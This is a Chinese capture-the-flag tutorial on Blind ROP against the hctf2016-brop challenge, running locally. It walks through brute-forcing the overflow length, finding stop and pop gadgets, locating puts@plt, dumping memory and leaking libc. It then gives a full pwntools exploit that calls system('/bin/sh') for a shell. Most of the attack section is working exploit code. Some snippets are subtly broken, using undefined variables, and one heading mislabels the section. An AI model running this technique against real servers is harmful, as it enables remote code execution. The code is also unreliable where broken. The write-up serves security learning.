一、原理:
- 查看溢出函数返回时哪个寄存器指向溢出缓冲区
- 查找call reg或者jmp reg指令,将EIP设置为指令地址
- reg所指向的空间上植入shellcode(确保该空间是可以执行的)
二、BROP
BROP(Blind ROP)瞎几把ROP,用在看不到程序C代码和二进制文件的情况下,对程序进行攻击,劫持程序的执行流。就有点像SQL注入当中的盲注,不会直接看到关键的信息,需要一个一个的去试,做题的时候就会有一种***多元一次***方程的感觉
1、攻击条件
- 程序必须存在栈溢出
- 服务器端的进程会在崩溃之后重新启动,并且重新启动的进程的地址与先前的地址一样,也就是说即使程序有ASLR保护,但是保护仅仅只对程序最初启动的时候有效。现在nginx、MySQL、Apache、OpenSSH等服务器都符合这种特性
2、攻击原理
在BROP情况下挖掘的基本思路:
- 判断栈溢出的长度:暴力枚举
- Stack Reading:获取栈上的数据来泄露canary以及ebp和返回地址
- Blind ROP:找到足够多的gadget来控制输出函数的参数,并且对其进行调用,比如write函数或者puts函数
- 写EXP:利用输出函数来dump出程序以便于找到更多的gadget,然后写gadget
三、ret2reg
题目目录:
/ctf-challenges/pwn/stackoverflow/brop/hctf2016-brop
C代码:
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
在前面讲过要实现BROP,程序必须有栈溢出,并且BROP是在看不到C代码和二进制文件的情况下使用的,但是为了更好的展现这道题,还是使用IDA查看一下溢出点,方便讲解
int check()
{
char buf; // [sp+0h] [bp-40h]@1
read(0, &buf, 0x400uLL);
return strcmp(&buf, "aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}
可以看到程序使用了read函数进行读字符串操作,所以是满足第一点攻击条件的(仅用于讲解,实际看不到二进制文件),接下来查看一下程序的保护机制:
$ checksec brop
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/brop/hctf2016-brop/brop'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
可以看到64位程序,NX栈不可执行保护开启了,所以无法在栈中部署shellcode,因此可以考虑使用gadget。但是由于看不到程序本身的二进制代码,所以只能使用暴力穷举的方式不断的穷举地址,并根据不同的返回结果做出判断,改地址是不是我们想要的gadget。而且可以看到PIE没有开启,并且提示程序初始地址为0x400000
做题思路:控制puts函数打印出自身的got表地址,通过got地址利用LibcSearcher计算出当前使用的libc版本,接着找到system函数和/bin/sh地址部署到栈中执行
1、判断栈溢出的长度
首先第一步,需要对栈空间进行判断,确定栈溢出的长度。
判断栈溢出可以通过循环不断的增加输入字符的长度,直至程序崩溃
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/brop/hctf2016-brop$ ./brop
WelCome my friend,Do you know password?
a
No password, no game
可以看到我们出现’WelCome my friend,Do you know password?'这个字样之后等待输入,当输入一个a的时候,接下来会提示’No password, no game’的字样
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/brop/hctf2016-brop$ ./brop
WelCome my friend,Do you know password?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Segmentation fault (core dumped)
同时在我们输入一串特别长的字符串的时候没有出现’No password, no game’的字样,那么我们就可以使用循环来不断增加字符串长度,并且根据回显结果中是否有’No password, no game’字样来判断到什么长度覆盖了ret返回地址,并且该长度减一就是栈溢出的长度
循环内容:累加输入字符串长度,填满栈空间
循环终止条件:回显结果起始位置字符串为No password, no game
执行目的:确定栈溢出长度,为后续所有步骤做准备
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999) #远程链接程序,也可以使用下面的本地链接程序
#sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a') #不断增加a的数量输入到程序中
output = sh.recv() #将获取到的回显内容放在output变量中
sh.close()
if not output.startswith('No password'):
#判断output变量中起始位置是不是No password,如果不是说明已经溢出了
return i - 1
else:
i += 1
except EOFError:#主要探测是否具有canary
sh.close()
return i - 1
根据上面的代码可以确定栈溢出的长度为72,并且根据返回信息发现没有开启canary保护
栈中情况:
+---------------------------+
| ret |
+---------------------------+
| a | 递增a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a+ | 递增a字符串占位填满栈空间
| .... | .....
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
| a+ | 递增a字符串占位填满栈空间
ebp-?-->+---------------------------+
2、寻找stop gadget
当我们想办法寻找gadget的时候,并不知道程序具体是什么样的,所以需要控制返回地址进而去猜测gadget。那当我们控制返回地址时,一般会出现三种情况
- 程序直接崩溃:ret地址指向的是一个程序内不存在的地址
- 程序运行一段时间后崩溃:比如运行自己构造的函数,该函数的返回地址指向不存在的地址
- 程序一直运行而不崩溃
stop gadget一般指的是,但程序执行这段代码时,程序进入无限循环,这样使得攻击者能够一直保持连接状态,并且程序一直运行而不崩溃。就像蛇吃自己的尾巴一样,stop gadget最后的ret结尾地址就是程序开启的地址(比如main函数地址)
由于看不到二进制程序所以依然还需要使用穷举的方式不断的尝试每一个地址,所以我们从初始的地址0x400000开始,通过循环,不断累加地址进行尝试(前面检测程序保护讲了为什么初始地址是0x400000)。有了循环之后就需要考虑循环终止条件,终止条件可以参考stop gadget的特性,在执行stop gadget的时候程序会回到初始状态并且没有发生崩溃。那么我们可以利用这一特性,使用前面找到的72字节填满栈空间,之后接上穷举的地址,此时穷举地址覆盖了ret地址,那么接下来就会执行穷举地址,如果此时程序发生崩溃就进行下一次循环,如果没有崩溃则打印该地址
循环内容:递增地址,尝试可能的stop gadget
循环终止条件:程序不发生崩溃
执行目的:确定stop gadget为后面查找brop gadget、puts plt、puts got做准备
def get_stop_addr(length):
addr = 0x400000 #尝试起始地址
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'hollkdig' * length + p64(addr) #输入72个字节后面加穷举地址覆盖ret
sh.sendline(payload)
sh.recv()
sh.close()
print 'one success addr: 0x%x' % (addr)
return addr #由于执行代码写在了try中,所以只有程序不崩溃才能走到这一步
except Exception:
addr += 1 #如果出现崩溃导致的异常,那么addr+1
sh.close()
get_stop_addr(9) #传入72个字符串
运行之后导致不崩溃的地址会有很多,不是只有一个,当你查找到第一个不崩溃的地址的时候,可以将初始的0x400000替换成不崩溃的地址,找下一个。这里选用貌似返回到源程序中的地址0x4006b6,为了讲解方便,我们可以使用IDA查看一下该地址是什么
.text:00000000004006B6
.text:00000000004006B6 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00000000004006B6 public main
.text:00000000004006B6 main proc near ; DATA XREF: _start+1Do
.text:00000000004006B6 push rbp
.text:00000000004006B7 mov rbp, rsp
.text:00000000004006BA mov rax, cs:stdin@@GLIBC_2_2_5
.text:00000000004006C1 mov esi, 0 ; buf
.text:00000000004006C6 mov rdi, rax ; stream
该地址是main函数,当然在正常情况下是看不到的
栈中情况:
+---------------------------+
| 0x400000+ | 递增地址覆盖原ret返回位置
+---------------------------+
| hollkdig | hollkdig字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| hollkdig | hollkdig字符串占位填满栈空间
| .... | .....
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
| hollkdig | hollkdig字符串占位填满栈空间
ebp-?-->+---------------------------+
3、寻找brop gadget
在前面找到了stop gadget我们怎么去利用他呢,这时候就需要找到能够控制寄存器的gadget。由于我们的计划是利用puts函数打印出自己的got地址,通过got地址找到对应的libc版本,然后找到system函数和/bin/sh地址部署到栈中执行。那么需要考虑的一点是在调用puts函数之前需要将打印的内容压进rdi寄存器中,那么我们首先就需要通过gadget来控制rdi寄存器。
其实在libc_csu_init的结尾一长串pop的gadget中,通过偏移可以得到pop rdi的操作
+---------------------------+ 0x00
| pop rbx |
+---------------------------+
| pop rbp |
+---------------------------+
| pop r12 |
+---------------------------+
| pop r13 |
+---------------------------+
| pop r14 | pop rsi 0x7
+---------------------------+------>pop r15
| pop r15 | ret
+---------------------------+------------------->pop rdi 0x9
| ret | ret
-----------------------------
可以看到如果以pop rbx为基地址的话向下偏移0x7会得到pop rsi的操作,向下偏移0x9会得到pop rdi的操作。这两个操作就可以帮助我们控制puts函数的输出内容
那么往回想既然我们需要用到pop rdi、rsi的操作就需要知道libc_csu_init结尾6个pop操作的位置。这个时候我们的stop gadget就派上用场了,为了更好地演示stop gadget的使用,这里定义栈上的三种地址
- Probe
- 探针,也就是我们想要循环递增的代码地址。一般来说都是64位程序,可以直接从0x400000尝试
- Stop
- 不会使得程序崩溃的stop gadget的地址
- Trap
- 可以导致程序崩溃的地址
我们可以通过在栈上拜访不同程序的Stop与Trap从而来识别出正在执行的指令,举几个例子
- probe, stop, traps, (traps, traps, …)以这样的方式进行排列,可以看一下在栈中的排列
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| probe | <----- 探针
-----------------------------
我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明了probe探针中没有pop操作,并且有ret返回,如果有pop操作的话stop会被pop进寄存器当中,那么probe探针的ret返回就会指向stop的后几位traps,那么就会导致程序崩溃。那么由于在栈布局中stop gadget在probe探针的下一位,说明stop所在位置就是probe探针的ret返回地址位置。如:
ret
xor eax,eax; ret
- probe, traps, stop, raps以这样的方式进行排列,可以看一下在栈中的排列
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| .... | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| probe | <----- 探针
-----------------------------
我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明probe指针中仅存在一个pop操作,并且有ret返回,在probe探针中只有一个pop操作的时候才会只将probe后面的trap弹进寄存器,如果有两个及两个以上的pop操作的时候,stop gadget也会被弹进寄存器中无法执行。并且在probe探针中ret返回所指的位置是stop才能使程序不崩溃,如:
pop rax; ret
pop rdi; ret
- probe, trap, trap, trap, trap, trap, trap, stop, traps以这样的方式进行排列,可以看一下在栈中的排列
+---------------------------+
| traps | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| stop | <----- stop gadget,不会使程序崩溃,作为probe的ret位
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- traps,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| trap | <----- trap,程序中不存在的地址,当IP指针指向该处时崩溃
+---------------------------+
| probe | <----- 探针
-----------------------------
我们可以通过程序是否崩溃来判断probe探针中可能存在的汇编语句,在这样布局的情况下,如果程序没有崩溃,说明stop gadget被执行了。说明该probe探针中存在6个pop操作,并且有ret,因为只有在6个pop操作之后probe后面的trap才能弹进寄存器,之后sp指针才能指向stop gadget,这个时候stop gadget只有在ret位置才能被执行,因此程序不会崩溃
回到我们之间说的寻找brop gadget环节,我们这个环节要找的就是libc_csu_init最后的6个pop加ret,那么根据前面的讲解我们可以大致的通过trap、stop这种方式做一个简单的排列:
addr,trap, trap, trap, trap, trap, trap, stop, traps
以上面这种排列的话,addr通过循环不断增加地址位,只有addr所在地址拥有6个pop操作并ret的时候才会执行stopgadget。
循环内容:递增地址,找到可以执行6个pop和一个ret操作的gadget
循环终止条件:程序不崩溃,并出现起始的输出提示’WelCome’字符
执行目的:找到libc_csu_init函数的最后一个gadget,通过偏移计算出popr di地址
def get_brop_gadget(length, stop_gadget, addr): #查找brop gadget函数
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k) + p64(0) + p64(stop_gadget) + p64(h) + p64(o) + p64(l) + p64(l) + p64(k)
#通过72个a填满栈空间到ret,增长的地址覆盖原有的ret地址,接着用6个字符的p64形式充当trap,最后接上stop
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
if not content.startswith('WelCome'):
#判断提示符是否出现起始提示字符,如果有说明程序没崩溃
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):#检查地址
try:
sh = remote('127.0.0.1', 9999)
#sh = process(',.brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
##length = getbufferflow_length()
length = 72
##get_stop_addr(length)
stop_gadget = 0x4006b6
addr = 0x400740
#理论上应该从0x400000开始寻找,但是这个环节要找的是Libc_csu_init函数,所以大多数的libc中Libc_csu_init函数的起始地址都在0x400740之后,所以为了减少误差,从0x400740开始
while 1: #循环递增要测试的地址
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
break
addr += 1
运行之后会得到很多的gadget地址,但是只有0x4007ba是可以继续进行操作的,如果想找到更多的gadget地址可以参考寻找stop gadget方法。但是经过后面内容的联合使用,只有0x4007ba可以执行。可以看一下IDA
.text:00000000004007BA pop rbx
.text:00000000004007BB pop rbp
.text:00000000004007BC pop r12
.text:00000000004007BE pop r13
.text:00000000004007C0 pop r14
.text:00000000004007C2 pop r15
.text:00000000004007C4 retn
可以在IDA中看到0x4007ba处却是是libc_csu_init的gadget,实际操作中看不到二进制文件,这里使用IDA只是为了演示的更直观
栈中布局
+---------------------------+
| 0 | trap
+---------------------------+
| ..... | trap
+---------------------------+
| 0 | trap
+---------------------------+
| stop gadget | stop gadget作为ret返回地址
+---------------------------+
| 0 | trap
+---------------------------+
| k | trap
+---------------------------+
| l | trap
+---------------------------+
| l | trap
+---------------------------+
| o | trap
+---------------------------+
| h | trap
+---------------------------+
| 0x400740+ | 递增地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+
在我们找到brop gadget之后加上0x9的偏移就可以得到pop rdi;ret操作的地址0x4007c3
4、寻找puts@plt地址
通过前面的操作,我们可以总结一些规律,比如我们需要什么就把他扔进循环递增,总会有一次循环会得到我们想要的结果,在上一步我们找到了pop rdi;ret这个gadget的地址了,那么我们就可以控制puts函数的输出内容。我们就需要用这个gadget找到puts_plt的地址
根据上面所说的如果我们调用puts函数,必须将puts函数的参数地址先部署进rdi寄存器中,然后调用puts函数将rdi中地址内的参数打印出来
但是由于开启了NX保护,所以我们无法在栈中部署外部的变量或者字符串,那么我们就需要一个程序内部的特殊字符串,并且这个字符串必须唯一的。这里介绍一下,在没有开启PIE保护的情况下,0x400000处为ELF文件的头部,其内容为’ \ x7fELF’
循环内容:递增地址,找到可以进行打印的puts_plt地址
循环终止条件:接收字符串出现’\ x7fELF’字样
执行目的:为后续找到puts_got地址做准备
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
#72个A填充栈空间,调用pop rdi;ret gadget将0x400000pop进rdi寄存器,循环增长的地址放在gadget的ret位置,在执行完gadget后直接调用循环增长的地址,如果增长到puts_plt地址就会打印rdi寄存器中地址内存放的字符串,最后的stop gadget是为了让程序不崩溃
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):#判断是否打印\x7fELF
print 'find hollkdig puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
##length = getbufferflow_length()
length = 72
rdi_ret = 0x4007c3
##get_stop_addr(length)
stop_gadget = 0x4006b6
最后根据plt的结构,选择0x400560 作为puts_plt的地址,我们使用IDA验证一下
.plt:0000000000400550 dq 2 dup(?)
.plt:0000000000400560 ; [00000006 BYTES: COLLAPSED FUNCTION _puts. PRESS CTRL-NUMPAD+ TO EXPAND]
.plt:0000000000400566 dw ?
可以看到该地址却是是puts函数的plt地址,正常情况下是看不到二进制文件的,此处看IDA是为了更好的讲解
栈中布局:
+---------------------------+
| stop gadget | stop gadget确保程序不崩溃
+---------------------------+
| 0x400000+ | 循环递增地址,作为pop的ret地址
+---------------------------+
| 0x400000 | ELF起始地址,地址内存放'、x7fELF'
+---------------------------+
| 0x4007c3 | pop rdi;ret地址覆盖原ret返回位置
+---------------------------+
| a | a字符串覆盖原saved ebp位置
ebp--->+---------------------------+
| a | a字符串占位填满栈空间
| .... | .....
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
| a | a字符串占位填满栈空间
ebp-?-->+---------------------------+
5、泄露puts_got地址
在得到puts_plt地址后,接下来就需要将puts_got地址泄露出来,得到puts_got地址之后就可以利用LibcSearcher查找对应的libc版本,再根据版本找到libc中的system函数和/bin/sh
在泄露之前需要知道一下Linux中plt表和got表的关系,我们就拿puts函数举例
+--------------+
| GOT表 |
+---------------------+ +--------------+ 找到真实地址 +--------------+
| PLT表 | jmp got表 | ---------> |puts的真实地址 | ------------->| puts函数 |
+---------------------+ +--------------+ +--------------+
跳转到got表中存放puts | |
函数真实地址的地址 | |
| |
| |
| |
+--------------+
我们可以根据上图我们模拟一下call puts的过程,在执行call puts之后程序首先会在PLT表中寻找puts_plt的地址,那么在puts_plt地址中存放的是GOT表中存放puts函数真实地址的地址(可能有点套娃,慢慢想),接下来会在GOT表中找到存放puts真实地址的地址,接下来打开盒子根据真实找到了puts函数
在ret2csu中我们使用的是LibcSearcher查找的函数got表地址,那么由于这道题开启了ASLR,所以不能使用工具去获取地址,那么我们手动的去找,找的就是在puts_plt地址中存放的jmp指令后接的地址。如果觉得不懂,看一下上面的图,jmp指令后面接的就是puts_got的地址。由于不能实用工具,我们只能手动的讲整个PLT部分都dump出来。dump出来的文件重新设置基地址0x400000,再根据前面得到的puts_plt地址找到对应位置,查看该地址内的汇编指令
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
#72个a填满栈空间至ret位置,后接pop rdi;ret gadget,循环递增的地址被pop进rdi寄存器,接下来将puts_plt地址防止在gadget ret位置进行调用打印循环递增的地址,最后加上stop gadget防止崩溃
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]#将接收的\nWelCome之前的字符串交给data变量
except Exception:
data = data
if data == "": #如果data被赋值之后为空,那么就说明已经完成整个dump过程,添加\x00截断
data = '\x00'
return data
except Exception:
sh.close()
return None
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_plt(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
addr = 0x400000
result = "" #准备一个空字符串接收dump出来的代码
while addr < 0x401000: #从0x400000开始泄露0x1000个字节,足以包含程序的plt部分
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None: #判断接收字符是否为空
continue
else:
result += data #接收字符串
addr += len(data) #addr+接收字符串个数,避免接收重复的字符串
with open('hollk', 'wb') as f: #在当前目录下以二进制形式向hollk文件中写
f.write(result)
在执行完后会在本地当前目录下得到一个名为’hollk’的文件
hollk@ubuntu:~/ctf-challenges/pwn/stackoverflow/brop/hctf2016-brop$ ls
brop core hollk Makefile text1.py text5.py
brop.i64 deploy.sh libc.so nohup.out text2.py text6.py
code exploit.py main.c run.sh text4.py
这个文件就是我们dump出来的文件,其实你可以把他比作Windows下脱壳之后的文件。虽然在实际情况下我们看不到二进制文件,但是我们dump出来的plt段的内容可以使用IDA进行查看。将hollk文件拖进64位IDA,选择binary File形式打开,选择64-bit mode
接下来需要给hollk文件设置基地址,因为我们是从0x400000处开始dump的,所以基地址就设为0x400000
设置步骤:edit->segments->rebase program 将程序的基地址改为 0x400000
由于我们之前找到了puts函数的plt地址0x400560,所以我们找到偏移0x560处
seg000:000000000040055E db 40h ; @
seg000:000000000040055F db 0
seg000:0000000000400560 db 0FFh
seg000:0000000000400561 db 25h ; %
seg000:0000000000400562 db 0B2h ;
seg000:0000000000400563 db 0Ah
选中0x560,按c键,将此处数据转换为汇编指令
seg000:000000000040055F db 0
seg000:0000000000400560 ; -------------------------------------------------------------
seg000:0000000000400560 jmp qword ptr cs:601018h
seg000:0000000000400560 ; -------------------------------------------------------------
seg000:0000000000400566 db 68h ; h
我们就可以看到puts_plt地址中jmp指令后面接的puts_got地址了,0x601018
6、拿shell
##length = getbufferflow_length()
length = 72
##stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
##brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
##puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
puts_plt = 0x400560
##leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()
7、完整EXP
from pwn import *
from LibcSearcher import *
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
#context.log_level = 'debug'
def getbufferflow_length():
i = 1
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('WelCome my friend,Do you know password?\n')
sh.send(i * 'a')
output = sh.recv()
sh.close()
if not output.startswith('No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
def get_stop_addr(length):
addr = 0x400000
while 1:
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr)
sh.sendline(payload)
content = sh.recv()
print content
sh.close()
print 'one success stop gadget addr: 0x%x' % (addr)
except Exception:
addr += 1
sh.close()
def csu_gadget(csu_last, csu_middle, saved_addr, arg1=0x0, arg2=0x0, arg3=0x0):
payload = p64(csu_last) # pop rbx,rbp,r12,r13,r14,r15, ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(saved_addr) # r12 jump to
payload += p64(arg3) # r13 -> rdx arg3
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg1) # r15 -> edi arg1
payload += p64(csu_middle) # will call [rbx + r12 * 0x8]
payload += 'A' * 56 # junk
return payload
def get_brop_gadget(length, stop_gadget, addr):
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
stop_gadget) + p64(0) * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
print content
# stop gadget returns memory
if not content.startswith('WelCome'):
return False
return True
except Exception:
sh.close()
return False
def check_brop_gadget(length, addr):
try:
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(addr) + 'a' * 8 * 10
sh.sendline(payload)
content = sh.recv()
sh.close()
return False
except Exception:
sh.close()
return True
def find_brop_gadget(length, stop_gadget):
addr = 0x400740
while 1:
print hex(addr)
if get_brop_gadget(length, stop_gadget, addr):
print 'possible brop gadget: 0x%x' % addr
if check_brop_gadget(length, addr):
print 'success brop gadget: 0x%x' % addr
return addr
addr += 1
def get_puts_addr(length, rdi_ret, stop_gadget):
addr = 0x400000
while 1:
print hex(addr)
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
addr) + p64(stop_gadget)
sh.sendline(payload)
try:
content = sh.recv()
if content.startswith('\x7fELF'):
print 'find puts@plt addr: 0x%x' % addr
return addr
sh.close()
addr += 1
except Exception:
sh.close()
addr += 1
def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
puts_plt) + p64(stop_gadget)
sh.recvuntil('password?\n')
sh.sendline(payload)
try:
data = sh.recv()
sh.close()
try:
data = data[:data.index("\nWelCome")]
except Exception:
data = data
if data == "":
data = '\x00'
return data
except Exception:
sh.close()
return None
def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
addr = 0x400000
result = ""
while addr < 0x401000:
print hex(addr)
data = leak(length, rdi_ret, puts_plt, addr, stop_gadget)
if data is None:
continue
else:
result += data
addr += len(data)
with open('code', 'wb') as f:
f.write(result)
#length = getbufferflow_length()
length = 72
#stop_gadget = get_stop_addr(length)
stop_gadget = 0x4006b6
#brop_gadget = find_brop_gadget(length,stop_gadget)
brop_gadget = 0x4007ba
rdi_ret = brop_gadget + 9
#puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
#puts_plt = 0x400560
#leakfunction(length, rdi_ret, puts_plt, stop_gadget)
puts_got = 0x601018
sh = remote('127.0.0.1', 9999)
#sh = process('./brop')
sh.recvuntil('password?\n')
payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
stop_gadget)
sh.sendline(payload)
data = sh.recvuntil('\nWelCome', drop=True)
puts_addr = u64(data.ljust(8, '\x00'))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
system_addr) + p64(stop_gadget)
sh.sendline(payload)
sh.interactive()